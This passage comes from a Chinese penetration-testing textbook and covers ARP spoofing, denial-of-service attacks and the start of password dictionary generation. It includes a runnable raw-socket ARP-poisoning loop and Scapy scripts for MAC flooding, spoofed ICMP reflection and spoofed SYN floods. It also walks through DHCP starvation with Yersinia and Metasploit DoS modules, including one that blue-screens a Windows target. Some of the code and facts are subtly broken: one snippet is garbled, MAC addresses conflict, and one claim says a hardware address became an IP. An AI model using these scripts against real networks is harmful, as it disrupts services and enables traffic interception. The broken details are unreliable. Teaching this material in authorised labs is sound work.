接下来使用另外一个库文件Socket来实现这个例子。相比起Scapy，Socket是一个更为通用的库文件，但是也更复杂。首先看一下ARP数据包的格式，和以前不同，这一次要精确到每一位表示的含义，如图8-28所示。

图8-28　ARP数据包的格式

使用Socket来产生一个数据包远比Scapy麻烦，按照图8-28所示的格式，这个数据包要分成如下多个部分：

□　以太网目的地址，长度为6位。

□　以太网源地址，长度为6位。

□　帧类型，长度为2位。

□　硬件类型，长度为2位。

□　协议类型，长度为2位。

□　硬件地址长度，长度为1位。

□　协议地址长度，长度为1位。

□　op，长度为2位。

□　发送端以太网地址，长度为6位。

□　发送端IP地址，长度为4位。

□　目的以太网地址，长度为6位。

□　目的IP地址，长度为4位。

利用这个库实现中间人欺骗的原理和前面讲过的一样，也是通过向目标发送一个伪造的ARP请求数据包来实现。环境和之前介绍的一样，源IP地址为192.168.169.2（也就是网关的IP地址），构造的欺骗数据包内容如下。

□　源IP地址：192.168.169.2（也就是网关的IP地址）。

□　源硬件地址：00:0c:29:12:dd:23（也就是Kali Linux 2虚拟机的硬件地址）。

□　目标IP地址：192.168.169.133（要欺骗主机的IP地址）。

□　目标硬件地址：00:0c:29:2D:7F:89。

□　ARP类型：request。

那么可以按照如下填充这个数据包：

□　以太网目的地址：00:0c:29:2D:7F:89，这个表示要欺骗的主机的硬件地址，也可以是广播地址ff:ff:ff:ff:ff:ff。

□　以太网源地址：00:0c:29:12:dd:23，这是本机的硬件地址。

□　帧类型：0x0806表示ARP类型，使用两位十六进制表示为\x08\x06。

□　硬件类型：1表示以太网，使用两位十六进制表示为\x00\x01。

□　协议类型：8表示IPv4，使用两位十六进制表示为\x08\x00。

□　硬件地址长度：\x06，表示6位的硬件地址。

□　协议地址长度：\x04，表示4位的IP地址。

□　op：1表示请求，2表示回应，使用两位十六进制表示为\x00\x01。

□　发送端以太网地址：00:0c:29:12:dd:23。

□　发送端IP地址：192.168.169.2。

□　目的以太网地址：00:0c:29:2D:7F:89。

□　目的IP地址：192.168.169.133。

在构造数据包的时候需要注意的是，网络中传输IP地址等数据要使用网络字节，它与具体的CPU类型、操作系统等无关，从而可以保证数据在不同主机之间传输时能够被正确解释。Python Socket模块中包含一些有用IP转换函数，说明如下。

（1）socket.inet_aton(ip_string)：将IPv4的地址字符串（例如192.168.10.8）转换32位打包的网络字节。

（2）socket.inet_ntoa(packed_ip)：将32位的IPv4网络字节转换为用标准点号分隔的IP地址。

这里需要使用socket.inet_aton(ip_string)将IP地址转换之后才能发送出去，所以定义一下这个数据包的格式内容：

     srcMAC=b'\x00\x0c\x29\x23\x1e\xf4'
     dstMAC=b'\x00\x0c\x29\x2D\x7F\x89'
     code=b'\x08\x06'
     htype = b'\x00\x01'
     protype = b'\x08\x00'
     hsize = b'\x06'
     psize = b'\x04'
     opcode = b'\x00\x01'
     gatewayIP = '192.168.169.2'
     victimIP = '192.168.169.133'

下面将这些内容组成一个数据包：

     packet= dstMAC+srcMAC+ code+ htype+ protype+ hsize+ psize+ opcode+ srcMAC+socket.
     inet_aton(gatewayIP)+ dstMAC+socket.inet_aton(victimIP)

完整的程序如下所示：

     import socket
     import struct
     import binascii
     s=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.ntohs(0x0800))
     s.bind(("eth0",socket.htons(0x0800)))
     srcMAC=b'\x00\x0c\x29\x23\x1e\xf4'
     dstMAC=b'\x00\x0c\x29\x2D\x7F\x89'
     code=b'\x08\x06'
     htype = b'\x00\x01'
     protype = b'\x08\x00'
     hsize = b'\x06'
     psize = b'\x04'
     opcode = b'\x00\x01'
     gatewayIP = '192.168.169.2'
     victimIP = '192.168.169.133'
     packet= dstMAC+srcMAC+ code+ htype+ protype+ hsize+ psize+ opcode+ srcMAC+socket.
     inet_aton(gatewayIP)+ dstMAC+socket.inet_aton(victimIP)
     while 1:
         s.send(packet)

在这个程序中，Socket并没有绑定IP地址，而是绑定了一块网卡，这是因为要发送的是以太帧；这个以太帧的目的地由MAC地址决定，而不是由IP地址决定。这个程序执行之后在目标主机上查看ARP表，如图8-29所示。

图8-29　执行完该程序之后的ARP表

可以看到网关192.168.169.2的硬件地址已经变成192.168.169.130，这表示我们的ARP欺骗已经成功，现在目标主机发往网关的流量就都被劫持到Kali Linux 2虚拟机上。

8.5　小结

本章介绍了如何在网络中进行嗅探和欺骗，几乎所有的网络安全机制都是针对外部的，而极少会防御来自内部的攻击。因此在网络内部进行嗅探和欺骗的成功率极高。

在很多经典的渗透案例中也都提到这种攻击方式，例如国内知名的一家IT企业的安全主管就曾经提到过，他在进入企业后做的第一件事情就是利用网络监听截获了部门领导的电子邮箱密码。另外随着硬件的发展，也发生了使用装载了树莓派的无人机进入受保护的区域，然后连接到无线网络进行网络监听的事件。

第9章　拒绝服务攻击

在学校食堂用餐的时候，经常会有等待餐桌的经历。学校食堂提供的餐桌只有几百个，往往有人要排着队等待餐桌。如果使用了餐桌的人迟迟不离开，那么后面用餐的人会越来越多，学校食堂提供的餐桌将无法提供正常的服务。当然，平时出现这种情况的主要原因是学校食堂提供的餐桌数量不够，只要增加餐桌的数量就可以解决这个问题。但是，如果有人故意为之，如有大量并不是真的在吃饭的人占着餐桌不离开，就会导致其他人无法在这个食堂进餐。那么这时食堂实际上已经不能正常提供服务了，这种故意占用某一系统服务的有限资源从而导致其无法正常工作的行为就是拒绝服务攻击。

拒绝服务攻击是攻击者想办法让目标机器停止提供服务，这也是黑客常用的攻击手段之一。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分，只要能够对目标造成麻烦，使某些服务被暂停甚至主机死机，都属于拒绝服务攻击。拒绝服务攻击问题一直得不到合理解决，究其原因是网络协议本身的安全缺陷，从而拒绝服务攻击也成为攻击者的终极手法。

实际上，拒绝服务攻击并不只是一种攻击方式，而是一类具有相似特征的攻击方式的集合。这类攻击方式分布极广，黑客可能会利用TCP/IP层中数据链路层、网络层、传输层和应用层的各种协议漏洞发起拒绝服务攻击。下面按照这些协议的顺序介绍各种拒绝服务攻击以及实现的方法。

9.1　数据链路层的拒绝服务攻击

首先查看在数据链路层发起的拒绝服务攻击方式。很多人对这种攻击方式很陌生，它的攻击目标是二层交换机。这种攻击方式的目的并不是要二层交换机停止工作，而是要二层交换机以一种不正常的方式工作。

很多人可能对这种说法感到困惑，什么是交换机不正常的工作方式呢？现在的网络设备大都采用了交换机，但是并非从有网络的时候人们就使用这种设备。早期网络使用的是一种名为集线器的设备，如果你阅读过一些比较老旧的关于黑客的书籍，那里面大多会提到一种使用sniffer来监听整个局域网的方法。这种方法极为简单，只需要网卡支持混杂模式即可。但实际上，如果你现在真的按照这种方法操作，会发现其实除了本机的通信之外将会一无所获，这是怎么回事呢？

造成这种情况的原因在于多年前局域网进行通信的设备大都是集线器，而现在使用的却是交换机。这两种设备的作用相同，都可以实现局域网两台主机之间的通信，但是工作原理却不同。简单地说，集线器中没有任何的“学习”和“记忆”能力。假设一个局域网中有100台计算机，这些计算机都用网线连接到集线器的网络接口上，其中每一个接口对应一台计算机。当A计算机向B计算机发送数据包时，需要先将数据包发给集线器，由集线器负责转发。可是当集线器收到这个数据包时并不知道哪个接口连接到B计算机，所以集线器会大量地复制这个数据包，然后向所有的接口都发送一份这个数据包的副本。结果局域网中的所有计算机都收到了这个数据包，每台计算机上面的网卡会查看这个数据包上的目的信息，如果该目的并非本机，就会丢弃这个数据包。这样就只有B计算机才会接收并处理这个数据包。但是这种机制并不能确保数据包的保密性，就像之前提到的那样，局域网中的任何一台主机只需要将网卡设置为混杂模式，然后使用抓包软件（例如之前提到的sniffer），就可以捕获网络中的所有通信数据包。

目前的局域网中几乎已经见不到集线器的踪影了，取而代之的是交换机。相比于集线器，交换机则多了“记忆”和“学习”的功能。这两个功能是通过交换机中的CAM表实现的，这张表中保存了交换机中每个接口所连接计算机的MAC地址信息，这些信息可以通过动态学习获得。

这样当局域网中的A计算机向B计算机发送数据包时，会先将这个数据包发送到交换机，由交换机转发。交换机在收到这个数据包时会提取出数据包的目的MAC地址，并查询CAM表，如果能查找到对应的表项，就将数据包从找到的接口发送出去。如果没有找到，再将数据包向所有接口发送。在转发数据包的时候，交换机还会进行一个学习的过程，交换机会将接收到的数据包中的源MAC地址提取出来，并查询CAM表，如果表中没有这个源MAC地址对应接口的信息，则会将这个数据包中的源MAC地址与收到这个数据包的接口作为新的表项插入CAM表中。交换机的学习是一个动态的过程，每个表项并不是固定的，而是都有一个定时器（通常是5分钟），从这个表项插入CAM表开始起，当该定时器递减到零时，该CAM项就会被删除。

这个机制保证了采用交换机设备的局域网的数据包传送都是单播的，但是CAM表的容量是有限的，如果短时间内收到大量不同源MAC地址发来的数据包，CAM表就会被填满。当填满之后，新到的条目就会覆盖前面的条目。这样当网络中正常的数据包到达交换机之后，而交换机中CAM表已经被伪造的表项填满，无法找到正确的对应关系，只能将数据包广播出去。这时受到攻击的交换机实际上已经退化成集线器。黑客只需要在自己的计算机上将网卡设置为混杂模式，就可以监听整个局域网的通信。

这种攻击其实也很简单，只需要将伪造的大量数量包发送到交换机，这些数据包中的源MAC地址和目的MAC地址都是随机构造出来的，很快就可以将交换机的CAM表填满。

Kali Linux 2中提供了很多可以完成这个任务的工具，接下来介绍一个专门用来完成这种攻击的工具——macof，它也是Dsniff工具集的一个组件。这个工具的格式如下：

     Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport][-i interface] [-n times]

在实际应用中，这里面的参数只有-i是会用到的，用来指定发送这些伪造数据包的网卡。

使用macof的方法很简单，在Kali Linux 2中打开一个终端，然后输入macof即可启动这个工具：

     kali@kali:~$ sudo macof

macof向网络发送的数据包如图9-1所示。

图9-1　macof向网络发送的数据包

交换机在遭到攻击之后，内部的CAM表很快就会被填满。交换机在退化成集线器后会将收到的数据包全部广播出去，从而无法正常地向局域网提供转发功能。

Scapy模块中的RandMAC()和RandIP()可以很方便地构造随机MAC地址和IP地址，也可以生成固定网段的IP地址，方法是：RandIP("192.168.1.*")。

编写如下代码：

     from scapy.all import *
     while(1):
        packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
        time.sleep(0.5)
        sendp(packet)
        print(packet.summary())

执行该程序后，使用Wireshark捕获数据包，结果如图9-2所示。

图9-2　完全随机生成的数据包

下面的程序实现了向网络发送随机MAC地址的数据包。

     from scapy.all import *
     while(1):
        packet=Ether(src=RandMAC(),dst=RandMAC())
        time.sleep(0.5)
        sendp(packet)
        print(packet.summary())

执行结果如图9-3所示。

图9-3　向网络发送随机MAC地址的数据包

下面程序实现了向网络发送随机IP地址的数据包。

     from scapy.all import *
     while(1):
        packet=IP(src=RandIP(),dst=RandIP())/ICMP()
        time.sleep(0.5)
        sendp(packet)
        print(packet.summary())

执行结果如图9-4所示。

图9-4　向网络发送随机IP地址的数据包

9.2　网络层的拒绝服务攻击

位于网络层的协议包括ARP、IP和ICMP等，其中ICMP主要用来在IP主机、路由器之间传递控制消息。平时检测网络连通情况时使用的ping命令就是基于ICMP的。例如，希望查看本机发送的数据包是否可以到达192.168.1.101，可以使用如图9-5所示的ping命令。

图9-5　使用ping命令向目标发送数据包

从图9-5中可以看出，发送的数据包得到应答数据包，这说明192.168.1.101收到发出的数据包，并给出应答。这个过程遵守ICMP的规定。上面例子中使用的ping命令就是IMCP请求（Type=8），收到的回应是ICMP应答（Type=0），一台主机向一个节点发送一个Type=8的ICMP报文，如果途中没有异常（例如被路由器丢弃、目标不回应ICMP或传输失败），则目标返回Type=0的ICMP报文，说明这台主机存在。

但是目标主机在处理这个请求和应答是需要消耗CPU资源的，处理少量的ICMP请求并不会对CPU的运行速度产生影响，但是大量的ICMP请求呢？

仍然使用ping命令来尝试一下。这次将ICMP数据包设置得足够大。ping命令发送的数据包大小可以使用-l来指定（这个值一般指定为65500），这样构造好的数据包被称作“死亡之ping”。这是因为早期的系统无法处理这么大的ICMP数据包，在接收到这种数据包之后就会死机。现在的系统则不会出现这种问题，但是可以考虑使用这种方式向目标连续地发送这种“死亡之ping”来消耗目标主机的资源，如图9-6所示。

图9-6　向目标发送长度为65500的数据包

这里只向目标发送了488个ICMP数据包就停止了，实际上发送再多的数据包效果也不明显，主要原因是现在的操作系统和CPU完全有能力处理这个数量级的数据包。既然对方能够承受这个速度的数据包，那么拒绝服务攻击也就没有效果了。必须想办法提高发送到目标的数据包的数量。这里主要有两种办法：一是同时使用多台计算机发送ICMP数据包；二是提高发送的ICMP数据包的速度。

另外，除了像上面这种使用本机地址不断地向目标发送ICMP包的方法之外，还有两种方法：一是使用随机地址不断地向目标发送ICMP包；二是向不同的地址不断发送以攻击目标的IP地址为发送地址的数据包。这种攻击模式里最终淹没目标的洪水不是由攻击者发出的，也不是伪造IP地址发出的，而是正常通信的服务器发出的。

除了前面使用的RandIP()，还可以使用下面的方法来模拟一个随机IP地址：

     i.src = 《"%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.
     randint(1,254),random.randint(1,254))
     id.dst=""
     send(IP(dst="1.2.3.4")/ICMP())

下面给出了一个完整的攻击程序：

     import sys,random
     from scapy.all import send,IP,ICMP
     while 1:
        pdst= "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.
     randint(1,254),random.randint(1,254))
        psrc="1.1.1.1"
        send(IP(src=psrc,dst=pdst)/ICMP())

使用Wireshark捕获发出的数据包。可以看到程序快速以1.1.1.1向各个地址发送ICMP请求，这个地址在收到请求之后，很快就会向1.1.1.1发回应答。这就是第三种攻击方式，如图9-7所示。

图9-7　macof向网络发送的数据包

9.3　传输层的拒绝服务攻击

基于TCP的拒绝服务攻击则要复杂一些，但是平时所说的拒绝服务攻击指的都是基于这个协议的攻击。因为现实中拒绝攻击服务的对象往往都是那些提供HTTP服务的服务器，为HTTP提供支持的TCP自然也就成了拒绝服务攻击的重灾区。

TCP（Transmission Control Protocol，传输控制协议）是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP是Internet中的传输层协议，使用三次握手协议建立连接。当主动方发出SYN连接请求后，等待对方回答SYN+ACK，最终对方的SYN执行ACK确认，这种建立连接的方法可以防止产生错误的连接。TCP三次握手的过程如下：

（1）客户机向服务器发送SYN（SEQ=x）数据包，并进入SYN_SEND状态。

（2）服务器在收到客户机发出的SYN报文之后，回应一个SYN（SEQ=y）ACK(ACK=x+1）数据包，并进入SYN_RECV状态。

（3）客户机收到服务器的SYN数据包后回应一个ACK(ACK=y+1）数据包，然后进入Established状态。

三次握手完成，客户机和服务器成功建立连接，可以开始传输数据了。这个过程如图9-8所示。

图9-8　TCP三次握手的过程

不同于针对ICMP和UDP的拒绝服务攻击方式，基于TCP的攻击方式是面向连接的。只需要和目标主机的端口建立大量的TCP连接，就可以让目标主机的连接表被填满，从而不会再接收任何新的连接。

基于TCP的拒绝攻击方式有两种：一种是和目标端口完成三次握手，建立一个完整连接；另一种是只和目标端口完成三次握手中的前两次，建立的是一个不完整的连接，这种攻击方式是最为常见的，通常将这种攻击方式称为SYN拒绝服务攻击。这种攻击方式中，客户机会向目标端口发送大量设置了SYN标志位的TCP数据包，受攻击的服务器会根据这些数据包建立连接，并将连接的信息存储在连接表中。客户机不断地发送SYN数据包，很快就会将服务器的连接表填满，此时受攻击的服务器无法接收新来的连接请求。

下面考虑这个程序的思路。首先确定的是攻击的目标，例如要攻击192.168.1.1上的Web服务器，那么需要做的是产生大量的SYN数据包去连接192.168.1.1主机的80端口。因为是进行攻击，所以无须完成完整的三次握手，只需要建立一个不完整的连接，如图9-9所示。

图9-9　不完整的TCP连接

这样无须使用自身的IP地址作为源地址，使用伪造的地址即可。产生随机地址的方法如下：

     pdst= "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.
     randint(1,254),random.randint(1,254))

攻击目标时使用TCP，端口为80，将标志位设置为S。

     TCP(dport=80, flags="S")

下面给出完整的程序：

     import sys,random
     from scapy.all import send,IP,TCP
     while 1:
        psrc= "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.
     randint(1,254),random.randint(1,254))
        pdst= "1.1.1.1"
        send(IP(src=psrc,dst=pdst)/TCP(dport=80, flags="S"))

执行这段程序，将参数设置为1.1.1.1，使用Wireshark捕获这些数据包，执行结果如图9-10所示。

图9-10　产生各种随机地址发出的数据包

9.4　基于应用层的拒绝服务攻击

位于应用层的协议比较多，常见的有HTTP、FTP、DNS、DHCP等。这里面的每个协议都可能被用来发起拒绝服务攻击，本节以DHCP为例进行介绍。DHCP（Dynamic Host Configuration Protocol，动态主机配置协议）通常被应用在大型的局域网络环境中，主要作用是集中管理、分配IP地址，使网络环境中的主机动态地获得IP地址、网关地址、DNS服务器地址等信息，并能够提升地址的使用率。

DHCP采用客户机／服务器模型，主机地址的动态分配任务由网络主机驱动。当DHCP服务器接收到来自网络主机申请地址的信息时，才会向网络主机发送相关的地址配置等信息，以实现网络主机地址信息的动态配置。一次DHCP连接的过程如图9-11所示。

图9-11　DHCP连接的过程

DHCP攻击的目标也是服务器，怀有恶意的用户将伪造的大量DHCP请求报文发送到服务器，这样DHCP服务器地址池中的IP地址会很快分配完毕，从而导致合法用户无法申请到IP地址。同时大量的DHCP请求也会导致服务器高负荷运行，从而导致设备瘫痪。

首先编写一段程序来搜索网络中的DHCP服务器，只需要在网络中广播DHCP的Discover数据包，源端口为68，目标端口为67。这个构造过程比较麻烦，涉及多个层次：

     dhcp_discover = Ether(src=mac_random, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0",
     dst="255.255.255.255") / UDP(sport=68,dport=67) / BOOTP(chaddr=client_mac_id,
     xid=xid_random ) / DHCP(options=[("message-type", "discover"),"end"])

完整的程序如下所示：

     from scapy.all import *
     import binascii
     xid_random = random.randint(1, 900000000)
     mac_random = str(RandMAC())
     client_mac_id = binascii.unhexlify(mac_random.replace(':', ''))
     print(mac_random)
     dhcp_discover = Ether(src=mac_random, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0",
     dst="255.255.255.255") / UDP(sport=68,dport=67) / BOOTP(chaddr=client_mac_id,
     xid=xid_random ) / DHCP(options=[("message-type", "discover"),"end"])
     sendp(dhcp_discover, iface='以太网')
     print("\n\n\nSending DHCPDISCOVER on " + "以太网")

这时打开Wireshark，并将过滤器设置为udp，然后执行上面的这个程序，可以捕获如图9-12所示的过程。

图9-12　DHCP的Discover过程

分析得到的数据包，可以看出网络中有一台DHCP服务器，地址为192.168.169.254。这个程序也可以用来检测网络中的非法DHCP服务器。

本节将使用两个工具：一个是Yersinia，这是一个十分强大的拒绝服务攻击工具；另一个是我们比较熟悉的Metasploit。首先使用Yersinia进行DHCP攻击实验。安装Yersinia工具。

     kali@kali:~$ sudo apt-get install yersinia

在命令行中输入“yersinia -G”就可以图形化界面的形式启动这个工具：

     root@kali:~# yersinia -G

Yersinia的工作界面如图9-13所示，编写本书时的版本为0.73。

图9-13　Yersinia工作界面

Yersinia提供了对多种常见网络协议的攻击方式，例如CDP、DHCP、DTP、HSRP、ISL、MPLS、STP、VTP等，单击Lauch attack选择攻击方式，如图9-14所示。

在Choose attack窗口中，可以选择要攻击的协议以及具体的攻击方式，这里首先选择DHCP标签，选择使用DHCP攻击，如图9-15所示。

图9-14　Yersinia的攻击方式选择界面

图9-15　选择DHCP攻击界面

基于DHCP的攻击中一共提供了4种发包模式，它们的含义如下。

□　sending RAW packet：发送原始数据包。

□　sending DISCOVER packet：发送请求获取IP地址的数据包，通过占用所有的IP地址造成拒绝服务。

□　creating DHCP rogue server：创建虚假DHCP服务器，让用户连接，真正的DHCP服务器无法工作。

□　sending RELEASE packet：发送释放IP地址请求到DHCP服务器，致使正在使用的IP地址全部失效。

其中“sending DISCOVER packet”形式默认采用拒绝服务攻击（后面的DoS复选框中显示被选中状态）。选中这种方式之后单击OK按钮，即可开始攻击，如图9-16所示。

图9-16　使用Yersinia进行DHCP攻击产生的数据包

执行攻击后，右侧框1处显示的就是发送出去的攻击数据包，如果希望查看某一个数据包的具体内容，可以单击该数据包。在框2处显示的就是这个数据包的详细内容。可以看到这个工具不断地向外发送广播数据包。

执行攻击后，Yersinia就会在本网段内不停地发送DHCP Discover数据包，很快DHCP服务器地址池内所有的有效IP地址都将无法使用，新的用户就无法获取IP地址，整个网络陷于瘫痪状态。

理论上所有提供连接的协议都可能会受到拒绝服务攻击，Metasploit中提供了很多用于各种协议的拒绝服务攻击模块。启动Metasploit，在其中使用对应的模块。

     Kali@kali:~# msfconsole

成功启动Metasploit之后，可以使用search命令来查找与DoS（拒绝服务攻击）相关的模块，如图9-17所示。

图9-17　Metasploit中的拒绝服务攻击模块列表

图9-17中列出了Metasploit中的所有拒绝服务攻击模块，这里使用auxiliary/dos/tcp/synflood模块对目标进行一次SYN拒绝服务攻击。首先选择对应的模块：

     msf5 > use auxiliary/dos/tcp/synflood

使用show options来查看这个模块的参数，如图9-18所示。

synflood模块需要的参数包括RHOSTS、RPORT、SNAPLEN和TIMEOUT，后面的3个参数都有默认值，所以需要设置的只有RHOSTS，这也正是我们要发起拒绝服务攻击服务器的IP地址。这个目标必须是对外提供HTTP服务的服务器。

图9-18　synflood攻击模块的参数列表

下面将参数设置为目标192.168.157.137，如图9-19所示。

然后使用run命令发起攻击，如图9-20所示。

图9-19　synflood设置RHOSTS值

图9-20　启动synflood攻击

很快目标就会因为攻击而停止对外提供HTTP服务。

如果事先获得关于目标的足够信息，也可以利用目标主机上一些特定的服务进行拒绝服务攻击。例如很多人都拥有两台以上的计算机，一台在单位，另一台在家里，如果上班时间没有完成全部工作，回到家中可以远程连接到单位的计算机。但是这需要计算机提供远程控制服务，微软的Windows操作系统中提供远程桌面协议（Remote Desktop Protocol，RDP），这是一个多通道（multi-channel）协议，用户可以利用这个协议（客户机或称“本地计算机”）连上提供微软终端机服务的计算机（服务器端或称“远程计算机”）。

但是微软提供的这个服务被发现存在一个编号为MS12-020的漏洞。Windows在处理某些RDP报文时Terminal Server存在错误，可被利用造成服务停止响应。在默认情况下，任何Windows操作系统都未启用远程桌面协议。没有启用RDP的系统不受威胁。

还是在Metasploit中启动对应的模块：

     msf > use auxiliary/dos/Windows/rdp/ms12_020_maxchannelids

使用“show options”来查看这个模块所要使用的参数，如图9-21所示。

图9-21　ms12_020_maxchannelids攻击模块的参数列表

这个模块的参数十分简单，只需要设置一个RHOST即可。这也就是目标的IP地址，在这里将其设置为192.168.1.106，如图9-22所示。

图9-22　设置ms12_020_maxchannelids攻击模块的参数

设置完攻击目标之后，就可以对目标发起攻击，使用run命令发起攻击，如图9-23所示。

图9-23　ms12_020_maxchannelids攻击结果

图9-23的框中的结果显示攻击已经成功，目标主机关闭。此时目标计算机蓝屏，如图9-24所示。

图9-24　目标计算机受到攻击后蓝屏

9.5　小结

拒绝服务攻击一直是一个让网络安全人员感到无比头疼的问题，受到这种攻击的服务器将无法提供正常的服务。通常所说的拒绝服务攻击一般是指对HTTP服务器发起的TCP连接攻击。但实际上拒绝服务攻击的范畴要远远比这大。本章按照TCP/IP的结构，依次介绍了数据链路层、网络层、传输层和应用层中协议的漏洞，并讲解了如何利用这些漏洞来发起拒绝服务攻击。

Python几乎可以完成所有的拒绝服务攻击。本章中使用Python分别构造了基于ICMP、UDP、TCP的拒绝服务攻击。之后又使用Yersinia完成了针对DHCP的拒绝服务攻击。Yersinia可以完美地完成对各种网络设备的拒绝服务攻击。在本章的最后介绍了如何使用Metasploit来对目标发起拒绝服务攻击。拒绝服务攻击是一种破坏力很大的渗透方法，在对一个测试目标采用这种方法之前，一定要获得客户的许可，并事先做好服务器停止服务的准备。

本章中介绍的都是从一台计算机发起的，这也就是拒绝服务攻击，而现在更为常见的是分布式拒绝服务攻击（DDoS）。这种攻击方式是指借助于客户机／服务器技术，将多台计算机联合起来作为攻击平台，对一个或多个目标发动拒绝服务攻击，从而成倍地提高攻击威力。

第10章　身份认证攻击

网络的发展正在逐步改变人们的生活和工作方式。人们现在越来越依赖网络上的各种应用。例如，当人们进行通信的时候，通常的方式会是QQ、微信或者电子邮件；而当人们进行购物的时候，支付宝、微信支付以及各种银行的支付方式也渐渐取代现金交易方式。这些应用十分便利，无论你在哪里，只要找到一台可以连上互联网的计算机，都可以轻而易举地使用这些应用。但是，这些应用必须有一种可靠的身份验证模式，这种模式指的是计算机及其应用对操作者身份的确认过程，从而确定该用户是否具有对某种资源的访问和使用权限。

目前最为常见的身份验证模式采用的仍然是“用户名+密码”的方式，用户自行设定密码，在登录时如果输入正确的密码，计算机就会认为操作者是合法用户。但是这种认证方式的缺陷也很明显，如何保证密码不泄露以及不被破解已经成为网络安全的最大问题之一。本章将介绍基于密码破解的身份认证攻击。密码破解是指利用各种手段获得网络、系统或资源密码的过程，这个过程中不一定需要使用复杂的工具。

本章会介绍对平时所使用的几种常见应用进行身份认证的攻击，这几种应用都采用了密码的认证方式。本章将围绕以下几点展开。

□　简单网络服务认证的攻击。

□　编写字典工具。

□　编写各种服务认证的破解模块。

□　使用BrupSuite对网络认证服务的攻击。

10.1　简单网络服务认证的攻击

网络上很多常见的应用都采用了密码认证的模式。例如FTP、Telnet、SSH等应用被广泛地应用在各种网络设备上，如果这些认证模式出现了问题，就意味着网络中的大量设备将会沦陷。遗憾的是，目前确实有很多网络设备因为密码设置得不够复杂而遭到入侵。

针对这些简单的网络服务认证，可以采用一种“暴力破解”的方法。这种方法的思路很简单，就是把所有可能的密码都尝试一遍，通常可以将这些密码保存为一个字典文件。实现起来一般有以下三种思路。

□　纯字典攻击。这种思路最简单，攻击者只需要利用攻击工具将用户名和字典文件中的密码组合起来，一个个地尝试即可。破解成功的概率与选用的字典有很大的关系，因为目标用户通常不会选用毫无意义的字符组合作为密码，所以对目标用户有一定的了解可以帮助我们更好地选择字典。以个人的经验而言，大多数字典文件都是以英文单词为主，这些字典文件更适用破解以英语为第一语言的用户的密码，对于破解母语非英语的用户设置的密码效果并不好。

□　混合攻击。现在各种应用对密码的强度都有了限制，例如在注册一些应用的时候，通常都不允许使用“123456”或者“aaaaaaa”这种单纯的数字或字母的组合，因此很多人会采用“字符+数字”的密码方式，例如使用某人的名字加上生日就是一种很常见的密码（很多人都以自己孩子的英文名字加出生日期作为密码），如果我们仅仅使用一些常见的英文单词作为字典的内容，显然具有一定的局限性。而混合攻击则是依靠一定的算法对字典文件中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字，例如，单词“test”经过算法处理之后就会变成“test1”“test2”“test1981”“test19840123”等。

□　完全暴力攻击。这是一种最为粗暴的攻击方式，实际上这种方式并不需要字典，而是由攻击工具将所有的密码穷举出来，这种攻击方式通常需要很长的时间，也是最不可行的一种。但是，由于一些早期的系统中采用6位长度的纯数字密码，这种方法则是非常有效的。

图10-1给出了一个使用密码认证登录的界面，其中IP地址为192.168.1.103的服务器上提供了FTP服务，这个服务的拥有者将密码提供给合法的用户。用户通过密码认证之后就可以访问里面的资源。

图10-1　一个FTP的密码验证界面

10.2　编写破解密码字典

前面介绍了使用破解字典文件中的内容作为密码逐个尝试。常见的字典文件是TXT或者DIC格式。常见破解字典文件如图10-2所示。

图10-2　一个常见的破解字典文件

在很多影视作品中都会看到这样的情节，某黑客信誓旦旦地保证“一天之内我就可以攻破这个系统”，然后就是特效，显示屏幕上一个又一个的词汇不断变换。当对密码进行破解的时候，一个破解字典文件是必不可少的。所谓的字典文件就是一个由大量词汇构成的文件。

在Kali Linux系统中字典文件的来源一共有3个。

□　使用字典生成工具来制造自己需要的字典。当需要使用字典文件而手头又没有合适的字典文件时，就可以考虑使用工具来生成所需要的字典文件。

□　使用Kali Linux中自带的字典。Kali Linux中将所有的字典都保存在/usr/share/wordlists/目录下，如图10-3所示。

图10-3　Kali Linux 2中自带的字典文件

□　从互联网上下载热门的字典。

生成字典需要至少指定如下两项：

□　字典中包含词汇（也就是密码）的长度。

□　字典中包含词汇所使用的字符。要生成密码包含的字符集（小写字符、大写字符、数字、符号），这个选项是可选的，如果不选这个选项，将使用默认字符集（默认为小写字符）。

下面使用Python来编写一个生成字典的程序。在这个程序中需要用到一个新的模块：itertools。这个模块是Python内置的，使用起来很简单，而且功能十分强大。

首先介绍一下itertools模块。itertools模块提供了很多函数，其中最基础的是3个无穷循环器。

□　count()函数：产生递增的序列，例如count（1,5），生成从1开始的循环器，每次增加5，即1，6，11，16，21，26，…。

□　cycle()函数：重复序列中的元素，例如cycle('hello')，将序列中的元素重复，即h，e，l，l，o，h，e，l，l，o，h，…。

□　repeat()函数：重复元素，构成无穷循环器，例如Repeat（100），即100，100，100，100，…。

除了这些基本的函数之外，还有一些用来实现循环器的组合操作的函数，这些函数适用于生成字典文件。

□　product()函数：用来获得多个循环器的笛卡儿积，例如product('xyz', [0, 1])，得到的结果就是x0，y0，z0，x1，y1，z1。

□　permutations('abcd', 2)：从'abcd'中挑选两个元素，例如ab，bc，…，并将所有结果排序，返回为新的循环器。这些元素中的组合是有顺序的，同时生成cd和dc。

□　combinations('abc', 2)：从'abcd'中挑选两个元素，例如ab，bc，…，并将所有结果排序，返回为新的循环器，这些元素中的组合是没有顺序的，例如c和d只能生成cd。

有了itertools这个库，就可以很轻松地生成一个字典文件。下面介绍一个简单的字典文件生成过程。

步骤1：导入itertools库。

     >>>import itertools

步骤2：指定生成字典的字符，这里使用所有的英文字符和数字（但是没有考虑区分字母大小写和特殊字符）。

     >>>words = "1234568790abcdefghijklmnopqrstuvwxyz"

步骤3：接下来使用itertools中提供的循环器来生成字典文件，可以根据不同的需求来选择，这里选择permutations，既考虑选项，又考虑顺序。仅仅出于演示的目的，考虑到程序的运行速度，这里选择生成两位的密码。在真实情境中往往需要生成6位以上的密码，但这需要很长的时间。

     >>>temp =itertools.permutations(words,2)

步骤4：打开一个用于保存结果的记事本文件。

     >>>passwords = open("dic.txt","a")

